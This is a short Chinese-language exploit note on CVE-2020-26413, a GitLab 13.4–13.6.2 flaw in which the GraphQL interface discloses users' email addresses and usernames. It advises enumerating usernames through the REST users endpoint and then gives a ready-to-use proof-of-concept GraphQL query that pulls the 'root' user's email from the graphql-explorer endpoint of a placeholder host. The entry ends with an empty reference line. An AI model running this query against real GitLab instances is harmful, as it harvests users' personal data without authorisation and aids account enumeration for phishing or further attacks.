GitLab Graphql 邮件地址信息泄露 (CVE-2020-26413)¶

GitLab中存在Graphql接口输入构造的数据时会泄露用户邮箱和用户名

影响版本：

GitLab 13.4 - 13.6.2

可以先通过接口进行遍历用户名，然后再枚举用户的邮箱...

https://xxx/api/v4/users/x

poc：

http://xxx.xxx.xxx.xxx/-//graphql-explorer
query {  
  user(username:"root"){  
    email  
    username  
  }  
}

ref：